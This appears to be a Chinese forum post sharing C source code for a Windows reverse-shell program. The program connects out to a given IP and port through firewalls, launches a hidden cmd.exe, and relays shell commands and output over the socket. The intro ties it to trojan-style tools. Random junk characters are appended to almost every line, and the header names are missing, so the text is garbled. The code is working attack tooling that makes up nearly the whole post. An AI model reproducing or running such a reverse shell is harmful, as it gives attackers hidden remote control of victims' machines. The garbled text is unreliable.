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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 -s0\4  
i-9W8A  
/* ============================== 6z]y =J  
Rebound port in Windows NT ;ik,6_/Y  
By wind,2006/7 G#ELQ/Q  
===============================*/ T[<554  
#include {0 %  
#include P/xE n_*v  
KWM.e1(  
#pragma comment(lib,"wsock32.lib") J#5V>7G  
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void OutputShell(); \58bz<u"  
SOCKET sClient; -3 Sb%V\  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; o_BRsJy  
`q`ah_  
void main(int argc,char **argv) GQjwr(  
{ l%xTF@4e  
WSADATA stWsaData; LG:d  
int nRet; #U4 f9.FY*  
SOCKADDR_IN stSaiClient,stSaiServer; BHiG3fP  
RF;[:[*W  
if(argc != 3) L)4~:f)B  
{ lEw;X78+  
printf("Useage:\n\rRebound DestIP DestPort\n"); )CHXfO w  
return; zhbSiw  
} C/QrkTi=  
zg'.fUZ  
WSAStartup(MAKEWORD(2,2),&stWsaData); irvd>^&jDC  
w~&#:F?  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); |KZX_4   
A6J:!sY4A  
stSaiClient.sin_family = AF_INET; CI\yP@DQ4  
stSaiClient.sin_port = htons(0); :I2,  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); EZzR"W/  
|i~-,:/-Y  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) m`):= ^nC  
{ WnOvU<Z <  
printf("Bind Socket Failed!\n"); h?$J;xn  
return; *]}F=dtR k  
} }p-/R'  
t: oQHhO?  
stSaiServer.sin_family = AF_INET; J}+N\V~  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); @t@B(1T  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); WW+ F9~S  
2b,edJVt?  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) IOF!Ra:w  
{ .'$8Hj;@  
printf("Connect Error!"); OCJt5#e~A  
return; w<zzS: PF*  
} jKo9y  
OutputShell(); RZKx!X4=q  
} |z"$^|@d?  
FCOa|IKsN  
void OutputShell() *DXX*9 0  
{ C9!FnvH  
char szBuff[1024]; ,grx'to(X  
SECURITY_ATTRIBUTES stSecurityAttributes; xK)<7 63q>  
OSVERSIONINFO stOsversionInfo; MM*~X"A  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; xf8[&?  
STARTUPINFO stStartupInfo; e M5-v-  
char *szShell; SIKaDIZ  
PROCESS_INFORMATION stProcessInformation; ,3c25.,*  
unsigned long lBytesRead; MxUbx+_N  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); G<k.d"<  
-;ra(L`  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); U1  *P  
stSecurityAttributes.lpSecurityDescriptor = 0; Ayv:Pv@  
stSecurityAttributes.bInheritHandle = TRUE; =cb!2%?}  
`sIm&.d  
akPd#mf  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); 6rWq hIaI  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); CB,2BTtRE  
4}t&yu<P>  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); mF!4*k  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; "L`BuAB  
stStartupInfo.wShowWindow = SW_HIDE; NS""][#  
stStartupInfo.hStdInput = hReadPipe; Y2tBFeWY  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; auX(d -m  
9z{g3m70@  
GetVersionEx(&stOsversionInfo); w1(5,~OB  
t9*e"QH  
switch(stOsversionInfo.dwPlatformId) t^>P,%$  
{ _TmKn!Jw  
case 1: |uz\XK  
szShell = "command.com"; )F\kGe  
break; 2~7*jA+Ab  
default: ntB#2S  
szShell = "cmd.exe"; R]Z#VnL@qz  
break; nT2b"wkTT  
} R >SZE"  
{Y=k`t,  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); n@h$V\&\iM  
.@EzHe ^W  
send(sClient,szMsg,77,0); !};Ll=dz  
while(1) R/fE@d2~In  
{ WlY\R>x#  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); CS*lk!C  
if(lBytesRead) d8R|0RZ  
{ "X._:||8  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); hVT>HER  
send(sClient,szBuff,lBytesRead,0); xXI WEZA  
} fk6=;{  
else ;{&4jcV*  
{ L0H^S)g  
lBytesRead=recv(sClient,szBuff,1024,0); `1Md1e:J  
if(lBytesRead<=0) break; i$}G[v<4  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); s!yD%zO  
} 59:kL<;S-  
} .YH#+T'  
<;>k[P'  
return; Mh3L(z]/E  
}
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